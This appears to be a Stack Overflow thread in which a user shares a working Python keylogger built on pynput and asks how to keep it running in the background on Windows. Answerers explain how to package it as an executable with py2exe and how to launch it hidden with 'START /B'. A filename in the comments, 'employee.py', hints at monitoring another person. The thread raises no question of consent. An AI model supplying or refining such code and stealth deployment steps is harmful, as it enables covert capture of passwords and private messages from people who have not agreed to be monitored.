1

How do I always listen? When Pycharm closes the script turns off. i use windows

from pynput.keyboard import Key, Listener
import logging

log_dir=""
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

I issued an order, made no mistake but it is not in the process

OneCricketeer
  • 179,855
  • 19
  • 132
  • 245
koki
  • 93
  • 1
  • 8

2 Answers2

3

I would suggest building a standalone Windows executable from your script with a tool like py2exe, since requiring the python interpreter to run a keylogger would add a cumbersome dependency to it.

Or you could invoke the python interpreter and run it as a background process from the Windows command line CMD :

START /B python <your_python_file>.py
Storm
  • 717
  • 6
  • 11
  • can't open file 'employee.py': [Errno 2] No such file or directory. When I run this command Should I be in the directory where I have the file? – koki Dec 24 '19 at 13:33
  • 1
    You need to make sure that you are in the python's file directory before executing the command line. – Storm Dec 24 '19 at 13:33
  • 1
    Or you could indicate its absolute path – Storm Dec 24 '19 at 13:34
  • ModuleNotFoundError: No module named 'pynput'. why? When I run in pycharm it works – koki Dec 24 '19 at 13:35
  • 1
    Make sure you use the same interpreter in pycharm and in the command line too, as the module you try to use might not be installed for both – Storm Dec 24 '19 at 13:38
  • I issued an order, made no mistake but it is not in the process – koki Dec 24 '19 at 13:45
0

You need to run the file and keep it open. The easiest way is from the command line (note: you need to cd to the directory with your python file):

python <nameOfYourFile>.py

hit return, dont close the command line.

BpY
  • 403
  • 5
  • 12
  • I want it to be in the background procces – koki Dec 24 '19 at 13:20
  • 1
    You may need to convert it to a .exe file [look here](https://stackoverflow.com/questions/783531/how-to-run-a-python-script-in-the-background) – BpY Dec 24 '19 at 13:23